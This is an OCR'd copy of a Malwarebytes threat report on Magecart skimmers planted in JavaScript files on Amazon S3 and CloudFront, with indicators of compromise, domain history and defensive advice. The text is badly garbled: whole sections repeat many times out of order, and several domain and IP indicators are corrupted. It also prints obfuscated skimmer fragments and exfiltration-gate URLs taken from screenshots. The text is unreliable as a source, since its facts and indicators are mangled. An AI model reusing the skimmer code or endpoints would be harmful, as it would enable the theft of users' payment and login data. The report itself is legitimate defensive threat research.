While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.1161
wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.

== =
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WATCHLIVE - i“weLi=—
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» O raw.githubusercont * | 1691 -
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1 _@x55d63c M hxdd B\ xT 4B ] = {};
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» (Y srv-2019-06-09-04, AV GTAVIEAVEEAV RV EEVE WV VeV eV TS R el VRV T e GVl RV M |'\ A | Aa .” Cancel
» ™ svnc.ecal.com v

4 » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.

Page 190 of 351


https://www.virustotal.com/gui/domain/installw.com/relations
https://www.virustotal.com/gui/domain/installw.com/relations
https://web.archive.org/web/20190122172555/https://s3.amazonaws.com/wsaimages/js/wizards.js
https://urlscan.io/result/a8e13fdc-d4e9-4218-8be8-67875a515f6c
https://aws.amazon.com/cloudfront/
https://aws.amazon.com/s3/

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

" Progress Telerik Fiddler Web Debugger - EKFiddle v.0.9.1
File Edit Rules Teools Wiew Help Links
QuickSave UImode YPM Proxy Import SAZ/PCAP Update/View Regexes Run Regexes Clear Markings C,

Protocol Method Host  LIRL Body

s3-ca-central-1.amazonaws. com fis/full-screen-menu.js 12,214
s3-ca-central-1.amazonaws. com || 1 fisfdropdown. js 9,166

s3-ca-central-1.amazonaws. com fisfinput-number-ncrement. js 10,471
s3-ca-central-1.amazonaws. com fisfinput-progress. js 12,390
s3-ca-central-1.amazonaws. com fis/main-menu-mover.js 9,347
s3-ta-central-1.amazonaws. com fiz/progress-demo.js 10,297
s3-ta-central-1.amazonaws. com fisfform-collapse-workflow.js 11,649
s3-ta-central-1.amazonaws. com fis/svgdeverybody.min.js 10,880
53 e 9,980
53 9,166
53

I'u I'u I:u IIJ IIJ IIJ I:..u I:..u Iu

(3) Statistics | - Inspectors | £ AutoResponder | [ Composer | [f5] Fiddler Orchestra Beta | ‘5z Fiddlerscript | =

IHeaders | Textview | SyntaxView | WebForms | HexWiew | Auth | Cookies | Raw | 150M | ML |

Transformer | Headers ||Text'l.ﬁew | Syntaniiew | ImageView | HexWiew | Webliew | Auth | Caching |

Sithis).removeClass{show’);
Sithis).dequeuel);

frar (b3 7a=[ b b8 wcdle eda b2 oehd ehe w30 b 1005 T B oc 7 3'0cb 10eh8 ot 70 b orha oed 1 e 30 e 3, e 1 o8 acdle
75 o5 oA Thoc55 e 3d” o6 1 e85 20 30 e F e Bhocd el o 36 e e 79 o 3T oo o5 e Thoc 14 o T4 o5 T 3 B
X585 75957 78\ 70 5 cd T3 355 32 46 032 5 56 A2 BB 3wl w74 55 32

eaSendDataDomainTrySendIMGGetimagelrl?
reff=onreadystatechangesetintervalreplacetestlengthcharAtorientation2=Function
s dispatchEventinnerwidthinnerHeightverticalhorizontalFirebugchrom@ pllii
(1238700 char? (236519, D«
| 1190 [CuuTm U J=function(_(dbb 7bb)ivar _(x390ae2=atobl_Rdbb7bb)var _Ee3bbeS=[lforjvar _(1dch08=<0x0,_kdd
HecodeURIComponent{_(e35bc5)}_O1196[TxGHBR =0 _ 0 156[Jz0W Ty =l var _(ed541ae=_0x1156[ TxGHERTL
{b(ZcEde}functmn &cﬁﬂﬂﬂnﬁ{_ﬁcﬁaﬁﬁec (ec063ab, _(k3dchf 3retum {kcﬁaﬁﬁecL{kHﬂ::{'{b:ﬂ'}]{new RegExp(_kc065a

[4n11a o o i

(bZ?cbdb2=_(b

Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the

Page 192 of 351


https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/traffic_capture.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/traffic_capture.png

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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wix-cloud[.]com,45.114.8[.]162
js-cloudhost[.]Jcom,45.114.8[.]163
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form
instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.
Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(wwl-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.

Page 196 of 351


https://www.riskiq.com/blog/labs/cloudcms-picreel-magecart/
https://abuse.ch/
https://www.shadowserver.org/

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

l= | @] 3% |

e Wayback Machine ¥ +
< C 8 https://web.archive.org/web/201905... + & :
[https:/icloudfront. |[Go ] PR
37 captures ‘ E]

1T May 2019 - 30 May 2018 LU0

1i"}y.slice(8).hide(), contDleess style display="none",contDivMors
.style.display="block") }@<document.guerySelectorAll{".Recipe_arti
cle "4ald).length&&getMoreldrLessCont("","","onload",ald};

var _8x19f5=

[ AxE1Nx57 W35\ x75 \x5a \ X588\ xda \ x40\ x5a K57 \xEec \ k62 \xB 1\ x4B \ k51 \x3
d’, el a7 ISR T NE 1\ KE B\ KT\ NT B\ e 2\ e\ WS 2\ 6B\ B2 g 1w 3dh

I e G ate http» ,fffcnt—asseb com/img | pdix3d’, " x59x32
WHEBN KT \MEZ NI 2N o . -myna Gd \xEChxIB\KE1 N
5?&x46\x?31x51\x58&x?9&x6c&x5&\x41\x3dix3d' UoeBd\ s 735 \xeb\x5a
WET G \ K Ta N\ e 2\ Ed \ 56\ xBb ", "\ x5a BB\ BB\ T T A NE 2\ 33\ da \ w30

=@ 2 ]

& Wayback Machine b +
< C @ https://web.archive.org/web/2019052.. ¥+ & :
[https://cloudfront. |[Go ] AFF
37 captures v

1T May 2019 - 20 May 2018 FARY b

splay="block"):"less"==operation&& {3 "#"+id+"
1i"y.slice(8).hide(),contDiviess.style.display="none", contDivMors
.style.display="block")}@<document.guerySelectorAll{".Recipe_arti
cle "4aId).length&&getMoredrlessCont("","","onlead"”,ald);

Var _@x2edd=

[ Ax52%x324x 5B x3@\x 53\ X573 1\ xBB \ x2a \ X3 2\ x50, x5 6 \x63 \xed \ 77 \x3
d’, " hE2 NI Z KIS\ KT\ NEE A KE T R AE \MED \ B W KEE \ wd e\ 3@ KSR\ N5 R 52N
x6C x589\ 32168 ey Ty http'-: ,.",n"cdn |r1'|gcloud com/imZ ihRsEht At

W 5AN wEA \ xd T\ wdB DM TA BT\ wAT Y,
WTE B\ e d \ WA 7\ =55 \x3d ", 'Rx53\x32\x56\xBE\xSBKxS?KxBS\xBE\anKx5
et w325\ WET T T 3d Y, e\ med \ e R\ N T T A RE 2\ a7 nde \ wba wEah
¥51hx3dhx3d ", e\ AT ANEE\NTa \ B4\ x4\ x3d 1 3d ", B2\ AT\ KBTS

R e B LT T R = ] LR T R T | R I TN s L T R e A T o R L] LR L T T |

A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS1.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets[.]Jcom started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud[.]com, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.

We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)

wwl-filecloud[.]Jcom,45.114.8[.]1159
cdn-imgcloud[.]Jcom,45.114.8[.]160
font-assets[.]Jcom,45.114.8[.]1161
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Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.

Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
== =
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fﬂ - -
CNBA GIOBAL  TEAMSY  GLEAGUE  WNBA  NBASTORE  NBALEAGUEPASS
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Fans

WATCHLIVE ~ — Swati——

GetMonumental.com MYSTICS GAMES'I Wizards Dancers

@ DevTools - www.nba.com/wizards/ = -m

[w ﬂ Elements Console Sources MNetwork Performance Memory Application Security Audits Q11 A4
Page » it [ wizardsjs wizards.js:formatted X [0
» O raw.githubusercont | 1693 -~

Dor oxssdeac - s Exfiltration gate: https://wix-cloud.com/img
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_@x55d63c M \xB1\xT4\xEL"] = {};

_Bx55d63c[_@x551F(" ! [1;

_Bx55d63c[_@x551F(" ! N H

_@x55d63c[_@x551F( '@x19")] = Ffunction(_g8x4del3ge) {

» (Y s3.amazonaws.com

v wsaimages/js

H

wizards.js

» (Y secure.adnxs.com

» (O secure.quantserve.c .

if (_@xdel3fe.id !== undefined && _Oxfel3fe.id != ' &% _@xdel3%e.id !== null && _@x4el3fe.value
r O securepubads.g.dot if { @wfbbeab{ @x2bd6f7( @x2bd6f7( @xdeldfe.value. '\x2d'. ''). "\x28'. '')) && @x395e49( @ 7
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» (Y srv-2019-06-09-04, AV GTAVIEAVEEAV RV EEVE WV VeV eV TS R el VRV T e GVl RV M |'\ A | Aa .” Cancel
» (™ svnc.ecal.com M
Fl » 9 characters selected

The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[.]com/wsaimages/js/wizards[.]js

Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>) some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.
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Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.

l= | @] 32 |

e Wayback Machine ¥ +
< C @ https://web.archive.org/web/201905.. & & :
[https:/icloudfront. |[Go ] PR

37 captures

17 May 2018 - 30 May 2019 rARR L=

6O

1i"}y.slice(8).hide(), contDleess style display="none",contDivMors
.style.display="block") }@<document.guerySelectorAll{".Recipe_arti
cle "4ald).length&&getMoreldrLessCont("","","onload",ald};

var _8x19f5=

[ AxE1Nx57 W35\ x75 \x5a \ X588\ xda \ x40\ x5a K57 \xEec \ k62 \xB 1\ x4B \ k51 \x3
d’, el a7 ISR T NE 1\ KE B\ KT\ NT B\ e 2\ e\ WS 2\ 6B\ B2 g 1w 3dh

I e G ate http» ,fffcnt—asseb com/img | pdix3d’, " x59x32
BB \KTIWKE2 w3 2N o . gernenxod \xBch K30\ Bl \x

5?&x46\x?31x51\x58&x?9&x6c&x5&\x41\x3dix3d' UoeBd\ s 735 \xeb\x5a
WET G \ K Ta N\ e 2\ Ed \ 56\ xBb ", "\ x5a BB\ BB\ T T A NE 2\ 33\ da \ w30

=@ 2 ]

& Wayback Machine b +
< C @ https://web.archive.org/web/2019052.. ¥+ & :
[https://cloudfront. |[Go ] AFF
37 captures v

1T May 2019 - 20 May 2018 FARY b

splay="block"):"less"==operation&& {3 "#"+id+" -
1i"y.slice(8).hide(),contDiviess.style.display="none", contDivMors
.style.display="block")}@<document.guerySelectorAll{".Recipe_arti
cle "4aId).length&&getMoredrlessCont("","","onlead"”,ald);

Var _@x2edd=

[ Ax52%x324x 5B x3@\x 53\ X573 1\ xBB \ x2a \ X3 2\ x50, x5 6 \x63 \xed \ 77 \x3
d’, " hE2 NI Z KIS\ KT\ NEE A KE T R AE \MED \ B W KEE \ wd e\ 3@ KSR\ N5 R 52N
x6C x589\ 32168 ey Ty http'-: ,.",n"cdn |r1'|gcloud com/imZ ihRsEht At

W 5AN wEA \ xd T\ wdB DM TA BT\ wAT Y,
WTE B\ e d \ WA 7\ =55 \x3d ", 'Rx53\x32\x56\xBE\xSBKxS?KxBS\xBE\anKx5
et w325\ WET T T 3d Y, e\ med \ e R\ N T T A RE 2\ a7 nde \ wba wEah
¥51hx3dhx3d ", e\ AT ANEE\NTa \ B4\ x4\ x3d 1 3d ", B2\ AT\ KBTS

R e B LT T R = ] LR T R T | R I TN s L T R e A T o R L] LR L T T |

Page 203 of 351


https://www.riskiq.com/blog/labs/cloudcms-picreel-magecart/
https://abuse.ch/
https://www.shadowserver.org/
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png
https://www.malwarebytes.com/wp-content/uploads/sites/2/2019/06/comparison_.png

https://blog.malwarebytes.com /threat-analysis /2019 /06 /magecart-skimmers-found-on-amazon-cloudfront-cdn/

A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.

Indicators of Compromise (IoCs)
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.
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What we can also see from the above VirusTotal graph, is that the two domains (font-assets[.]Jcom and ww1-
filecloud[.]Jcom) that were previously sinkholed to 179.43.144[.]137 (server in Switzerland) came back into the

hands of the criminals.

Historical passive DNS records show that on 05-25-2019, font-assets|.]com started resolving to 45.114.8[.]161.

The same thing happened for ww1-filecloud|.]Jcom, which ended up resolving to 45.114.8[.]159 after a few swaps.
Finding and exploiting weaknesses

This type of attack on private CDN repositories is not new, but reminds us that threat actors will look to exploit
anything that is vulnerable to gain entry into systems. Sometimes, coming in from the front door might not be a

viable option, so they will look for other ways.

While this example is not a third-party script supply-chain attack, it is served from third-party infrastructure.
Beyond applying the same level of access control to your own CDN-hosted repositories as your actual website,
other measures—such as validation of any externally loaded content (via Subresource Integrity checks, for

example)—can save the day.
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We reached out to the victims we identified in this campaign and several have already remediated the breach. In
other cases, we filed an abuse report directly with Amazon. Malwarebytes users are protected against the

skimmers mentioned in this blog and the new ones we discover each day.
Indicators of Compromise (IoCs)
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js-cloudhost[.]Jcom,45.114.8[.]163

Update (06-08-2019): The compromises of Amazon S3 buckets continue and some large sites are being affected.
Our crawler spotted a malicious injection that loads a skimmer for the Washington Wizards page on the official

NBA.com website.
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The skimmer was inserted in this JavaScript library:

hxxps://s3[.]amazonaws[ .]com/wsaimages/js/wizards[.]js
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Interestingly, this same library had already been altered (loading content from com (opens in a new tab)”>)_some

time earlier in January of this year. We have reported this incident to Amazon. A complete archived scan of the

page can be found here.

Late last week, we observed a number of compromises on Amazon CloudFront — a Content Delivery Network

(CDN) — where hosted JavaScript libraries were tampered with and injected with web skimmers.

Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain,
this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or

link to code developed specifically for them and hosted on a custom AWS S3 bucket.

Without properly validating content loaded externally, these sites are exposing their users to various threats,
including some that pilfer credit card data. After analyzing these breaches, we found that they are a continuation of

a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs.

The ideal place to conceal a skimmer

CDNss are widely used because they provide great benefits to website owners, including optimizing load times and

cost, as well as helping with all sorts of data analytics.

The sites we identified during a crawl had nothing in common other than the fact they were all using their own
custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN

repository would be themselves.

This first example shows a JavaScript library that is hosted on its own dedicated AWS S3 bucket. The skimmer

can be seen appended to the original code and using obfuscation to conceal itself.

This second case shows the skimmer injected not just in one library, but several contained within the same

directory, once again part of an S3 bucket that is only used by this one website.
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Finally, here’s another example where the skimmer was injected in various scripts loaded from a custom
CloudFront URL.
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Exfiltration gate

This skimmer uses two levels of encoding (hex followed by Base64) to hide some of its payload, including the
exfiltration gate (cdn-imgcloud[.]Jcom). The stolen form data is also encoded before being sent back to the

criminal infrastructure.

While we would have expected to see many Magento e-commerce shops, some of the victims included a news
portal, a lawyer’s office, a software company, and a small telecom operator, all running a variety of Content

Management Systems (CMSes).

As such, many did not even have a payment form within their site. Most simply had a sign up or login form

instead. This makes us believe that Magecart threat actors may be conducting “spray and pray” attacks on the
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CDNs they are able to access. Perhaps they are hoping to compromise libraries for sites with high traffic or tied to

valuable infrastructure from which they can steal input data.

Connection with existing campaign

The skimmer used in this attack looked eerily familiar. Indeed, by going back in time, we noted it used to have the
same exfiltration gate (font-assets[.]Jcom) identified by Yonathan Klijnsma in RiskIQ’s report on several recent

supply-chain attacks.

RiskIQ, in partnership with Abuse.ch and the Shadowserver Foundation, sinkholed both that domain and another

(ww1-filecloud[.]com) in an effort to disrupt the criminal’s infrastructure.
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A cursory look at this new cdn-imgcloud[.]Jcom gate shows that it was registered just a couple days after the

RiskIQ blog post came out and uses Carbon2u (which has a certain history) as nameservers.

Creation Date: 2019-05-16T07:12:30Z
Registrar: Shinjiru Technology Sdn Bhd
Name Server: NS71.CARBON2U.COM

Name Server: NS2.CARBON2U.COM

The domain resolves to the IP address 45.114.8[.]160 that belongs to ASN 55933 in Hong Kong. By exploring the

same subnet, we can find other exfiltration gates also registered recently.

%{‘—cloud.com pjs—cloudhost.com

o8 %

£E345114.8.162 $£245114.8.163

~ 7
at s
~

pcdn—imgcloud.com
- TQASN 55933
451148150 1 - /

-

a / | E25.1148.160
e '

— IN\\‘H E945.114.8.161
